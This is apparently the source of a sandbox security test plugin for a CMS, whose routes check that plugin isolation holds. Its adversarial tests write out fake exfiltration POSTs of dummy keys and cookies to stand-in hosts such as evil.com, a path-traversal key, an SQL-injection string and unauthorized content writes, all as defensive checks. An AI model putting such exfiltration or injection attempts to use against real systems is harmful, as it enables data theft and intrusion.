1277 lines
38 KiB
TypeScript
1277 lines
38 KiB
TypeScript
/**
|
|
* Sandbox Entry Point
|
|
*
|
|
* Canonical plugin implementation using the standard format.
|
|
* Runs in both trusted (in-process) and sandboxed (isolate) modes.
|
|
*/
|
|
|
|
import { definePlugin } from "emdash";
|
|
import type { PluginContext } from "emdash";
|
|
|
|
interface HookEvent {
|
|
content?: Record<string, unknown>;
|
|
collection?: string;
|
|
isNew?: boolean;
|
|
}
|
|
|
|
/** Narrow unknown to a record */
|
|
function isRecord(value: unknown): value is Record<string, unknown> {
|
|
return typeof value === "object" && value !== null && !Array.isArray(value);
|
|
}
|
|
|
|
/** Safely extract a string property from an unknown value */
|
|
function getString(value: unknown, key: string): string | undefined {
|
|
if (!isRecord(value)) return undefined;
|
|
const v = value[key];
|
|
return typeof v === "string" ? v : undefined;
|
|
}
|
|
|
|
// ── Plugin definition ──
|
|
|
|
export default definePlugin({
|
|
hooks: {
|
|
"content:beforeSave": {
|
|
handler: async (event: HookEvent, ctx: PluginContext) => {
|
|
ctx.log.info("[sandboxed-test] beforeSave hook fired", {
|
|
collection: event.collection,
|
|
isNew: event.isNew,
|
|
});
|
|
|
|
// Store hook execution in KV (proves the hook ran)
|
|
await ctx.kv.set(`beforeSave:${Date.now()}`, {
|
|
collection: event.collection,
|
|
isNew: event.isNew,
|
|
processedAt: new Date().toISOString(),
|
|
});
|
|
|
|
// Return content unchanged - just demonstrating the hook works
|
|
return event.content;
|
|
},
|
|
},
|
|
|
|
"content:afterSave": {
|
|
handler: async (event: HookEvent, ctx: PluginContext) => {
|
|
ctx.log.info("[sandboxed-test] afterSave hook fired", {
|
|
collection: event.collection,
|
|
isNew: event.isNew,
|
|
});
|
|
|
|
// Log to storage
|
|
await ctx.storage.events.put(`save-${Date.now()}`, {
|
|
timestamp: new Date().toISOString(),
|
|
type: "content:afterSave",
|
|
message: `Content saved in ${event.collection}`,
|
|
});
|
|
},
|
|
},
|
|
},
|
|
|
|
routes: {
|
|
admin: {
|
|
handler: async (routeCtx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
const interaction = routeCtx.input as {
|
|
type: string;
|
|
page?: string;
|
|
action_id?: string;
|
|
value?: string;
|
|
};
|
|
|
|
if (interaction.type === "page_load" && interaction.page === "widget:sandbox-status") {
|
|
return buildStatusWidget();
|
|
}
|
|
if (interaction.type === "page_load" && interaction.page === "/sandbox") {
|
|
return buildTestPage();
|
|
}
|
|
if (
|
|
interaction.type === "block_action" &&
|
|
interaction.action_id === "run_all_enforcement"
|
|
) {
|
|
return runAllEnforcementAdmin(pluginCtx);
|
|
}
|
|
if (interaction.type === "block_action" && interaction.action_id === "run_all_features") {
|
|
return runAllFeaturesAdmin(pluginCtx);
|
|
}
|
|
|
|
// Individual test runs: action_id = "run_test_{id}"
|
|
if (interaction.type === "block_action" && interaction.action_id?.startsWith("run_test_")) {
|
|
const testId = interaction.action_id.slice("run_test_".length);
|
|
return runSingleTestAdmin(pluginCtx, testId);
|
|
}
|
|
|
|
return { blocks: [] };
|
|
},
|
|
},
|
|
|
|
ping: {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
return {
|
|
pong: true,
|
|
pluginId: pluginCtx.plugin.id,
|
|
timestamp: Date.now(),
|
|
};
|
|
},
|
|
},
|
|
|
|
// Debug route to test http capability
|
|
"debug/http": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
const hasHttp = !!pluginCtx.http;
|
|
if (!hasHttp) {
|
|
return { hasHttp: false, error: "http not available on context" };
|
|
}
|
|
try {
|
|
const result = await pluginCtx.http.fetch("https://httpbin.org/get");
|
|
return {
|
|
hasHttp: true,
|
|
status: result.status,
|
|
ok: result.ok,
|
|
};
|
|
} catch (e) {
|
|
return {
|
|
hasHttp: true,
|
|
error: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
},
|
|
},
|
|
|
|
"kv/test": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
const testKey = "sandbox-test-key";
|
|
await pluginCtx.kv.set(testKey, { tested: true, time: Date.now() });
|
|
const value = await pluginCtx.kv.get(testKey);
|
|
await pluginCtx.kv.delete(testKey);
|
|
return { key: testKey, value, cleaned: true };
|
|
},
|
|
},
|
|
|
|
"storage/test": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
const eventId = `event-${Date.now()}`;
|
|
await pluginCtx.storage.events.put(eventId, {
|
|
timestamp: new Date().toISOString(),
|
|
type: "test",
|
|
message: "Sandboxed plugin storage test",
|
|
});
|
|
const event = await pluginCtx.storage.events.get(eventId);
|
|
const count = await pluginCtx.storage.events.count();
|
|
return { eventId, event, totalEvents: count };
|
|
},
|
|
},
|
|
|
|
"content/list": {
|
|
handler: async (ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
if (!pluginCtx.content) {
|
|
return { error: "content access not available" };
|
|
}
|
|
const collection = getString(ctx.input, "collection") ?? "posts";
|
|
const result = await pluginCtx.content.list(collection, { limit: 5 });
|
|
return {
|
|
collection,
|
|
count: result.items.length,
|
|
items: result.items.map((item: unknown) => {
|
|
if (!isRecord(item)) return { id: "unknown", slug: undefined };
|
|
return {
|
|
id: typeof item.id === "string" ? item.id : "unknown",
|
|
slug: typeof item.slug === "string" ? item.slug : undefined,
|
|
};
|
|
}),
|
|
};
|
|
},
|
|
},
|
|
|
|
"http/test": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
if (!pluginCtx.http) {
|
|
return { error: "http access not available" };
|
|
}
|
|
try {
|
|
const response = await pluginCtx.http.fetch("https://httpbin.org/get");
|
|
const data: unknown = await response.json();
|
|
const origin =
|
|
isRecord(data) && typeof data.origin === "string" ? data.origin : undefined;
|
|
return {
|
|
status: response.status,
|
|
ok: response.ok,
|
|
origin,
|
|
};
|
|
} catch (error) {
|
|
return {
|
|
error: error instanceof Error ? error.message : String(error),
|
|
};
|
|
}
|
|
},
|
|
},
|
|
|
|
// =========================================================================
|
|
// Sandbox Enforcement Tests
|
|
// These routes test that security boundaries are properly enforced
|
|
// =========================================================================
|
|
|
|
"enforce/blocked-host": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// This plugin only has httpbin.org in allowedHosts
|
|
// Attempting to fetch evil.com should fail
|
|
if (!pluginCtx.http) {
|
|
return { error: "http access not available", passed: false };
|
|
}
|
|
try {
|
|
await pluginCtx.http.fetch("https://evil.com/steal-data");
|
|
return {
|
|
passed: false,
|
|
error: "SECURITY VIOLATION: fetch to blocked host succeeded!",
|
|
};
|
|
} catch (error) {
|
|
const msg = error instanceof Error ? error.message : String(error);
|
|
// Should contain "not allowed" or similar
|
|
const blocked = msg.includes("not allowed") || msg.includes("Host");
|
|
return {
|
|
passed: blocked,
|
|
error: blocked ? null : msg,
|
|
message: blocked
|
|
? "Correctly blocked fetch to non-allowed host"
|
|
: "Fetch failed but for wrong reason",
|
|
};
|
|
}
|
|
},
|
|
},
|
|
|
|
"enforce/kv-isolation": {
|
|
handler: async (ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Test that this plugin can't see another plugin's KV data
|
|
// We write a unique key and verify we can only see our own
|
|
const ourKey = `isolation-test-${Date.now()}`;
|
|
const ourValue = { from: "sandboxed-test", time: Date.now() };
|
|
|
|
// Write our key
|
|
await pluginCtx.kv.set(ourKey, ourValue);
|
|
|
|
// Read it back
|
|
const readBack = await pluginCtx.kv.get(ourKey);
|
|
|
|
// Try to read a key that might belong to another plugin
|
|
// (This should return null because KV is namespaced)
|
|
const otherKey = getString(ctx.input, "otherPluginKey") ?? "api-test:some-key";
|
|
const otherValue = await pluginCtx.kv.get(otherKey);
|
|
|
|
// Clean up
|
|
await pluginCtx.kv.delete(ourKey);
|
|
|
|
return {
|
|
passed: readBack !== null && otherValue === null,
|
|
ourKey,
|
|
ourValueWritten: ourValue,
|
|
ourValueRead: readBack,
|
|
otherKey,
|
|
otherValueRead: otherValue,
|
|
message:
|
|
otherValue === null
|
|
? "Correctly isolated - cannot see other plugin's KV"
|
|
: "SECURITY VIOLATION: Can see other plugin's KV data!",
|
|
};
|
|
},
|
|
},
|
|
|
|
"enforce/storage-isolation": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Test that we can only USE declared storage collections
|
|
// The 'events' collection is declared, but 'secrets' is not
|
|
// Note: The Proxy creates accessors for any name, but bridge enforces on actual use
|
|
|
|
const results: {
|
|
declaredWorks: boolean;
|
|
undeclaredBlocked: boolean;
|
|
passed: boolean;
|
|
message: string;
|
|
error?: string;
|
|
} = {
|
|
declaredWorks: false,
|
|
undeclaredBlocked: false,
|
|
passed: false,
|
|
message: "",
|
|
};
|
|
|
|
// Test declared collection (events) - should work
|
|
try {
|
|
const testId = `enforce-test-${Date.now()}`;
|
|
await pluginCtx.storage.events.put(testId, { test: true });
|
|
const retrieved = await pluginCtx.storage.events.get(testId);
|
|
await pluginCtx.storage.events.delete(testId);
|
|
results.declaredWorks = retrieved !== null;
|
|
} catch (e) {
|
|
results.declaredWorks = false;
|
|
results.error = `Declared collection failed: ${e instanceof Error ? e.message : String(e)}`;
|
|
}
|
|
|
|
// Test undeclared collection (secrets) - should be blocked by bridge
|
|
try {
|
|
await pluginCtx.storage.secrets.put("test", { secret: "data" });
|
|
// If we get here, enforcement failed
|
|
results.undeclaredBlocked = false;
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
// Should get "Storage collection not declared" error
|
|
results.undeclaredBlocked = msg.includes("not declared");
|
|
if (!results.undeclaredBlocked) {
|
|
results.error = `Undeclared rejected but wrong reason: ${msg}`;
|
|
}
|
|
}
|
|
|
|
results.passed = results.declaredWorks && results.undeclaredBlocked;
|
|
results.message = results.passed
|
|
? "Correctly enforced - undeclared collection blocked by bridge"
|
|
: results.declaredWorks
|
|
? "FAIL: Undeclared collection was accessible"
|
|
: "FAIL: Declared collection didn't work";
|
|
|
|
return results;
|
|
},
|
|
},
|
|
|
|
"enforce/no-direct-db": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Verify we can't access raw database
|
|
// In the sandbox, there should be no 'db' on the context
|
|
const hasDb = "db" in pluginCtx;
|
|
const hasEnv = "env" in pluginCtx;
|
|
const hasProcess = typeof process !== "undefined";
|
|
|
|
return {
|
|
passed: !hasDb && !hasEnv,
|
|
hasDb,
|
|
hasEnv,
|
|
hasProcess,
|
|
message:
|
|
!hasDb && !hasEnv
|
|
? "Correctly sandboxed - no direct DB or env access"
|
|
: "SECURITY VIOLATION: Direct access to internals available!",
|
|
};
|
|
},
|
|
},
|
|
|
|
"enforce/globals-blocked": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, _pluginCtx: PluginContext) => {
|
|
// Test that dangerous globals are blocked or restricted
|
|
const results: Record<string, unknown> = {};
|
|
|
|
// Check for eval (should be blocked or restricted)
|
|
try {
|
|
// eslint-disable-next-line no-eval
|
|
const evalResult = eval("1 + 1");
|
|
results.eval = { available: true, result: evalResult };
|
|
} catch (e) {
|
|
results.eval = {
|
|
available: false,
|
|
error: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
|
|
// Check for Function constructor (code generation)
|
|
try {
|
|
// eslint-disable-next-line no-implied-eval
|
|
const fn = new Function("return 42");
|
|
results.functionConstructor = { available: true, result: fn() };
|
|
} catch (e) {
|
|
results.functionConstructor = {
|
|
available: false,
|
|
error: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
|
|
// Note: In Workers, eval and Function are allowed but sandboxed
|
|
// The real protection is that plugins can't escape their isolate
|
|
|
|
return {
|
|
results,
|
|
message: "Globals check complete - review results for security posture",
|
|
};
|
|
},
|
|
},
|
|
|
|
// =========================================================================
|
|
// Adversarial Tests - Try to break out of sandbox
|
|
// =========================================================================
|
|
|
|
"evil/exfil-to-attacker": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Try to exfiltrate data to non-allowed domains
|
|
// Note: This plugin only allows httpbin.org
|
|
const sensitiveData = {
|
|
stolen: "secret-api-key-12345",
|
|
cookies: "session=abc123",
|
|
};
|
|
|
|
// These are all NOT in our allowedHosts (only httpbin.org is allowed)
|
|
// Using reserved/safe domains that won't cause real requests
|
|
const exfilTargets = [
|
|
"https://example.com/collect", // IANA reserved for docs
|
|
"https://example.org/exfil", // IANA reserved for docs
|
|
"https://test.invalid/steal", // .invalid TLD never resolves
|
|
"https://jsonplaceholder.typicode.com/posts", // real API but not allowed
|
|
];
|
|
|
|
const results: Record<string, { blocked: boolean; error?: string }> = {};
|
|
|
|
for (const target of exfilTargets) {
|
|
try {
|
|
if (!pluginCtx.http) {
|
|
results[target] = { blocked: true, error: "No HTTP access" };
|
|
continue;
|
|
}
|
|
await pluginCtx.http.fetch(target, {
|
|
method: "POST",
|
|
body: JSON.stringify(sensitiveData),
|
|
});
|
|
results[target] = { blocked: false, error: "EXFIL SUCCEEDED!" };
|
|
} catch (e) {
|
|
results[target] = {
|
|
blocked: true,
|
|
error: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
}
|
|
|
|
const allBlocked = Object.values(results).every((r) => r.blocked);
|
|
return {
|
|
passed: allBlocked,
|
|
message: allBlocked
|
|
? "All exfiltration attempts blocked"
|
|
: "SECURITY VIOLATION: Some exfil attempts succeeded!",
|
|
results,
|
|
};
|
|
},
|
|
},
|
|
|
|
"evil/steal-other-plugin-kv": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Try to steal KV data from other plugins by guessing key patterns
|
|
const targetKeys = [
|
|
"api-test:settings", // another plugin's likely key
|
|
"plugin:api-test:config",
|
|
"../api-test/secret", // path traversal attempt
|
|
"state:installed", // api-test plugin uses this
|
|
"admin-test", // api-test writes this in tests
|
|
];
|
|
|
|
const results: Record<string, { found: boolean; value?: unknown }> = {};
|
|
|
|
for (const key of targetKeys) {
|
|
try {
|
|
const value = await pluginCtx.kv.get(key);
|
|
results[key] = { found: value !== null, value };
|
|
} catch {
|
|
results[key] = { found: false };
|
|
}
|
|
}
|
|
|
|
const anyFound = Object.values(results).some((r) => r.found);
|
|
return {
|
|
passed: !anyFound,
|
|
message: anyFound
|
|
? "SECURITY VIOLATION: Accessed other plugin's KV data!"
|
|
: "Correctly isolated - cannot access other plugins' KV",
|
|
results,
|
|
};
|
|
},
|
|
},
|
|
|
|
"evil/steal-other-plugin-storage": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Try to access storage collections from other plugins
|
|
const results: Record<string, { accessible: boolean; error?: string; data?: unknown }> = {};
|
|
|
|
// Try to access api-test plugin's 'logs' collection
|
|
try {
|
|
const data = await pluginCtx.storage.logs.query({ limit: 5 });
|
|
// 'logs' is declared by api-test, not sandboxed-test
|
|
// But sandboxed-test declares 'events', so this tests cross-collection
|
|
results["logs (api-test)"] = {
|
|
accessible: true,
|
|
data,
|
|
};
|
|
} catch (e) {
|
|
results["logs (api-test)"] = {
|
|
accessible: false,
|
|
error: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
|
|
// Try path traversal in collection name
|
|
try {
|
|
const data = await pluginCtx.storage["../api-test/logs"].get("test");
|
|
results["path-traversal"] = { accessible: true, data };
|
|
} catch (e) {
|
|
results["path-traversal"] = {
|
|
accessible: false,
|
|
error: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
|
|
// Try SQL injection in collection name
|
|
try {
|
|
const data = await pluginCtx.storage["events'; DROP TABLE users;--"].get("test");
|
|
results["sql-injection"] = { accessible: true, data };
|
|
} catch (e) {
|
|
results["sql-injection"] = {
|
|
accessible: false,
|
|
error: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
|
|
const anyAccessible = Object.values(results).some((r) => r.accessible);
|
|
return {
|
|
passed: !anyAccessible,
|
|
message: anyAccessible
|
|
? "SECURITY VIOLATION: Accessed unauthorized storage!"
|
|
: "Correctly blocked unauthorized storage access",
|
|
results,
|
|
};
|
|
},
|
|
},
|
|
|
|
"evil/access-raw-db": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Try to access raw database through various means
|
|
const results: Record<string, { found: boolean; value?: unknown }> = {};
|
|
|
|
// Check if db is exposed on context — use Object.keys to probe without casts
|
|
const ctxKeys = Object.keys(pluginCtx);
|
|
const hasDbOnCtx = ctxKeys.includes("db");
|
|
const hasEnvOnCtx = ctxKeys.includes("env");
|
|
results["ctx.db"] = { found: hasDbOnCtx };
|
|
results["ctx.env"] = { found: hasEnvOnCtx };
|
|
// For nested env.DB, use the record-based approach
|
|
const envValue = hasEnvOnCtx
|
|
? Object.getOwnPropertyDescriptor(pluginCtx, "env")?.value
|
|
: undefined;
|
|
results["ctx.env.DB"] = {
|
|
found: isRecord(envValue) && "DB" in envValue,
|
|
};
|
|
|
|
// Try to access via globalThis
|
|
const globalKeys = Object.keys(globalThis);
|
|
results["globalThis.db"] = {
|
|
found: globalKeys.includes("db"),
|
|
};
|
|
results["globalThis.env"] = {
|
|
found: globalKeys.includes("env"),
|
|
};
|
|
|
|
// Try to access via prototype pollution
|
|
try {
|
|
const proto = Object.getPrototypeOf(pluginCtx);
|
|
results["prototype.db"] = {
|
|
found: proto && "db" in proto,
|
|
value: proto?.db,
|
|
};
|
|
} catch {
|
|
results["prototype.db"] = { found: false };
|
|
}
|
|
|
|
const anyFound = Object.values(results).some((r) => r.found && r.value);
|
|
return {
|
|
passed: !anyFound,
|
|
message: anyFound
|
|
? "SECURITY VIOLATION: Found raw DB access!"
|
|
: "No raw DB access available",
|
|
results,
|
|
};
|
|
},
|
|
},
|
|
|
|
"evil/escalate-capabilities": {
|
|
handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Try to perform actions beyond declared capabilities
|
|
// This plugin has read:content but NOT write:content
|
|
// The bridge should reject any write attempts
|
|
const results: Record<string, { blocked: boolean; error?: string; data?: unknown }> = {};
|
|
|
|
// Probe for write methods via Reflect.get (avoids type casts)
|
|
const contentObj = pluginCtx.content;
|
|
|
|
async function tryMethod(
|
|
name: string,
|
|
args: unknown[],
|
|
): Promise<{ blocked: boolean; error?: string; data?: unknown }> {
|
|
if (!contentObj) return { blocked: true, error: "No content access" };
|
|
const method = Reflect.get(contentObj, name);
|
|
if (typeof method !== "function") {
|
|
return { blocked: true, error: "Method not exposed (also valid)" };
|
|
}
|
|
try {
|
|
const result = await Reflect.apply(method, contentObj, args);
|
|
return {
|
|
blocked: false,
|
|
data: result,
|
|
error: `${name.toUpperCase()}D CONTENT WITHOUT PERMISSION!`,
|
|
};
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
const properlyBlocked = msg.includes("capability") || msg.includes("not implemented");
|
|
return { blocked: properlyBlocked, error: msg };
|
|
}
|
|
}
|
|
|
|
results["content.create"] = await tryMethod("create", [
|
|
"posts",
|
|
{ title: "HACKED!", slug: "hacked-" + Date.now() },
|
|
]);
|
|
results["content.update"] = await tryMethod("update", [
|
|
"posts",
|
|
"some-id",
|
|
{ title: "HACKED UPDATE!" },
|
|
]);
|
|
results["content.delete"] = await tryMethod("delete", ["posts", "some-id"]);
|
|
|
|
const anyEscalated = Object.values(results).some((r) => !r.blocked);
|
|
return {
|
|
passed: !anyEscalated,
|
|
message: anyEscalated
|
|
? "SECURITY VIOLATION: Capability escalation succeeded!"
|
|
: "Capability restrictions enforced by bridge",
|
|
results,
|
|
};
|
|
},
|
|
},
|
|
|
|
"evil/run-all": {
|
|
handler: async (ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Run all evil tests
|
|
const tests: Record<string, { passed: boolean; message: string; details?: unknown }> = {};
|
|
|
|
// 1. Exfiltration test - try non-allowed host
|
|
if (pluginCtx.http) {
|
|
try {
|
|
await pluginCtx.http.fetch("https://example.com/exfil", {
|
|
method: "POST",
|
|
body: JSON.stringify({ stolen: "data" }),
|
|
});
|
|
tests.exfiltration = {
|
|
passed: false,
|
|
message: "FAIL: Exfiltration succeeded!",
|
|
};
|
|
} catch (e) {
|
|
tests.exfiltration = {
|
|
passed: true,
|
|
message: "PASS: Exfiltration blocked",
|
|
details: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
} else {
|
|
tests.exfiltration = { passed: true, message: "PASS: No HTTP access" };
|
|
}
|
|
|
|
// 2. Cross-plugin KV access
|
|
const otherPluginValue = await pluginCtx.kv.get("api-test:secret");
|
|
tests.kvIsolation = {
|
|
passed: otherPluginValue === null,
|
|
message:
|
|
otherPluginValue === null
|
|
? "PASS: Cannot access other plugin KV"
|
|
: "FAIL: Accessed other plugin KV!",
|
|
};
|
|
|
|
// 3. Undeclared storage
|
|
try {
|
|
await pluginCtx.storage.logs.get("test"); // 'logs' is api-test's collection
|
|
tests.storageIsolation = {
|
|
passed: false,
|
|
message: "FAIL: Accessed undeclared collection!",
|
|
};
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
tests.storageIsolation = {
|
|
passed: msg.includes("not declared"),
|
|
message: msg.includes("not declared")
|
|
? "PASS: Undeclared storage blocked"
|
|
: `FAIL: Wrong error: ${msg}`,
|
|
};
|
|
}
|
|
|
|
// 4. Raw DB access — use Object.keys to probe without casts
|
|
const runAllKeys = Object.keys(pluginCtx);
|
|
const hasRawAccess = runAllKeys.includes("db") || runAllKeys.includes("env");
|
|
tests.rawDbAccess = {
|
|
passed: !hasRawAccess,
|
|
message: hasRawAccess ? "FAIL: Has raw DB access!" : "PASS: No raw DB access",
|
|
};
|
|
|
|
// 5. Capability escalation (write without permission)
|
|
// Actually try to call create - bridge should reject
|
|
const createFn = pluginCtx.content ? Reflect.get(pluginCtx.content, "create") : undefined;
|
|
if (typeof createFn === "function") {
|
|
try {
|
|
await Reflect.apply(createFn, pluginCtx.content, [
|
|
"posts",
|
|
{ title: "EVIL", slug: "evil-" + Date.now() },
|
|
]);
|
|
tests.capabilityEscalation = {
|
|
passed: false,
|
|
message: "FAIL: Created content without write:content capability!",
|
|
};
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
// Bridge should reject with "Missing capability" or "not implemented"
|
|
const properlyBlocked = msg.includes("capability") || msg.includes("not implemented");
|
|
tests.capabilityEscalation = {
|
|
passed: properlyBlocked,
|
|
message: properlyBlocked
|
|
? "PASS: Bridge rejected unauthorized write"
|
|
: `FAIL: Wrong rejection reason: ${msg}`,
|
|
details: msg,
|
|
};
|
|
}
|
|
} else {
|
|
tests.capabilityEscalation = {
|
|
passed: true,
|
|
message: "PASS: Write methods not exposed",
|
|
};
|
|
}
|
|
|
|
const allPassed = Object.values(tests).every((t) => t.passed);
|
|
return {
|
|
allPassed,
|
|
summary: `${Object.values(tests).filter((t) => t.passed).length}/${Object.keys(tests).length} security tests passed`,
|
|
tests,
|
|
};
|
|
},
|
|
},
|
|
|
|
"enforce/run-all": {
|
|
handler: async (ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => {
|
|
// Run all enforcement tests and return summary
|
|
const tests: Record<string, { passed: boolean; message: string; details?: unknown }> = {};
|
|
|
|
// 1. Blocked host test
|
|
if (pluginCtx.http) {
|
|
try {
|
|
await pluginCtx.http.fetch("https://evil.com/test");
|
|
tests.blockedHost = {
|
|
passed: false,
|
|
message: "FAIL: Blocked host was accessible",
|
|
};
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
tests.blockedHost = {
|
|
passed: msg.includes("not allowed") || msg.includes("Host"),
|
|
message: "PASS: Blocked host correctly rejected",
|
|
details: msg,
|
|
};
|
|
}
|
|
} else {
|
|
tests.blockedHost = {
|
|
passed: true,
|
|
message: "SKIP: No HTTP access (also valid)",
|
|
};
|
|
}
|
|
|
|
// 2. KV isolation test
|
|
const testKey = `enforce-${Date.now()}`;
|
|
await pluginCtx.kv.set(testKey, "test");
|
|
const canReadOwn = (await pluginCtx.kv.get(testKey)) !== null;
|
|
const cantReadOther = (await pluginCtx.kv.get("api-test:internal")) === null;
|
|
await pluginCtx.kv.delete(testKey);
|
|
tests.kvIsolation = {
|
|
passed: canReadOwn && cantReadOther,
|
|
message:
|
|
canReadOwn && cantReadOther
|
|
? "PASS: KV properly isolated"
|
|
: "FAIL: KV isolation broken",
|
|
};
|
|
|
|
// 3. Storage collection enforcement
|
|
// Test storage enforcement by actually trying to use collections
|
|
let storageOk = false;
|
|
let storageBlocked = false;
|
|
try {
|
|
// Declared collection should work
|
|
const testId = `enforce-${Date.now()}`;
|
|
await pluginCtx.storage.events.put(testId, { x: 1 });
|
|
await pluginCtx.storage.events.delete(testId);
|
|
storageOk = true;
|
|
} catch {
|
|
storageOk = false;
|
|
}
|
|
try {
|
|
// Undeclared collection should be blocked
|
|
await pluginCtx.storage.secrets.get("test");
|
|
storageBlocked = false; // If we get here, it wasn't blocked
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
storageBlocked = msg.includes("not declared");
|
|
}
|
|
tests.storageEnforcement = {
|
|
passed: storageOk && storageBlocked,
|
|
message:
|
|
storageOk && storageBlocked
|
|
? "PASS: Storage collections enforced"
|
|
: "FAIL: Storage enforcement broken",
|
|
};
|
|
|
|
// 4. No direct access — use Object.keys to probe without casts
|
|
const enforceKeys = Object.keys(pluginCtx);
|
|
const noDb = !enforceKeys.includes("db");
|
|
const noEnv = !enforceKeys.includes("env");
|
|
tests.noDirectAccess = {
|
|
passed: noDb && noEnv,
|
|
message:
|
|
noDb && noEnv ? "PASS: No direct DB/env access" : "FAIL: Direct access available",
|
|
};
|
|
|
|
// Summary
|
|
const allPassed = Object.values(tests).every((t) => t.passed);
|
|
const passCount = Object.values(tests).filter((t) => t.passed).length;
|
|
|
|
return {
|
|
allPassed,
|
|
summary: `${passCount}/${Object.keys(tests).length} tests passed`,
|
|
tests,
|
|
};
|
|
},
|
|
},
|
|
},
|
|
});
|
|
|
|
// ── Block Kit admin helpers ──
|
|
|
|
interface TestResult {
|
|
passed: boolean;
|
|
message: string;
|
|
details?: string;
|
|
}
|
|
|
|
const ENFORCEMENT_TESTS = [
|
|
{
|
|
id: "blocked-host",
|
|
name: "Blocked Host",
|
|
description: "Verify fetch to non-allowed hosts is blocked",
|
|
},
|
|
{
|
|
id: "kv-isolation",
|
|
name: "KV Isolation",
|
|
description: "Verify plugins can only see their own KV data",
|
|
},
|
|
{
|
|
id: "storage-isolation",
|
|
name: "Storage Enforcement",
|
|
description: "Verify undeclared storage collections are blocked",
|
|
},
|
|
{
|
|
id: "no-direct-access",
|
|
name: "No Direct Access",
|
|
description: "Verify no direct access to DB or env internals",
|
|
},
|
|
{
|
|
id: "globals-blocked",
|
|
name: "Globals Check",
|
|
description: "Check if dangerous globals (eval, Function) are blocked",
|
|
},
|
|
];
|
|
|
|
const FEATURE_TESTS = [
|
|
{ id: "ping", name: "Ping", description: "Basic connectivity test" },
|
|
{ id: "kv-test", name: "KV Operations", description: "Test KV get/set/delete" },
|
|
{
|
|
id: "storage-test",
|
|
name: "Storage Operations",
|
|
description: "Test storage put/get/count",
|
|
},
|
|
{
|
|
id: "content-list",
|
|
name: "Content Access",
|
|
description: "Test content listing via bridge",
|
|
},
|
|
{
|
|
id: "http-test",
|
|
name: "HTTP Fetch",
|
|
description: "Test fetch to allowed host",
|
|
},
|
|
];
|
|
|
|
function buildStatusWidget() {
|
|
return {
|
|
blocks: [
|
|
{
|
|
type: "fields",
|
|
fields: [
|
|
{ label: "Enforcement", value: "Ready" },
|
|
{ label: "Features", value: "Ready" },
|
|
],
|
|
},
|
|
{
|
|
type: "actions",
|
|
elements: [
|
|
{
|
|
type: "button",
|
|
text: "Run All Tests",
|
|
action_id: "run_all_enforcement",
|
|
style: "primary",
|
|
},
|
|
],
|
|
},
|
|
],
|
|
};
|
|
}
|
|
|
|
function buildTestPage() {
|
|
const enforcementRows = ENFORCEMENT_TESTS.map((t) => ({
|
|
type: "section",
|
|
text: `**${t.name}** -- ${t.description}`,
|
|
accessory: {
|
|
type: "button",
|
|
text: "Run",
|
|
action_id: `run_test_${t.id}`,
|
|
},
|
|
}));
|
|
|
|
const featureRows = FEATURE_TESTS.map((t) => ({
|
|
type: "section",
|
|
text: `**${t.name}** -- ${t.description}`,
|
|
accessory: {
|
|
type: "button",
|
|
text: "Run",
|
|
action_id: `run_test_${t.id}`,
|
|
},
|
|
}));
|
|
|
|
return {
|
|
blocks: [
|
|
{ type: "header", text: "Sandbox Tests" },
|
|
{
|
|
type: "context",
|
|
text: "Test sandbox enforcement and feature access.",
|
|
},
|
|
{ type: "divider" },
|
|
{
|
|
type: "section",
|
|
text: "**Enforcement Suite**",
|
|
accessory: {
|
|
type: "button",
|
|
text: "Run All",
|
|
action_id: "run_all_enforcement",
|
|
style: "primary",
|
|
},
|
|
},
|
|
{ type: "context", text: "Security boundary tests -- all should pass." },
|
|
...enforcementRows,
|
|
{ type: "divider" },
|
|
{
|
|
type: "section",
|
|
text: "**Feature Tests**",
|
|
accessory: {
|
|
type: "button",
|
|
text: "Run All",
|
|
action_id: "run_all_features",
|
|
style: "primary",
|
|
},
|
|
},
|
|
{ type: "context", text: "Capability and API access tests." },
|
|
...featureRows,
|
|
],
|
|
};
|
|
}
|
|
|
|
// ── Inline test runners (same logic as the route handlers) ──
|
|
|
|
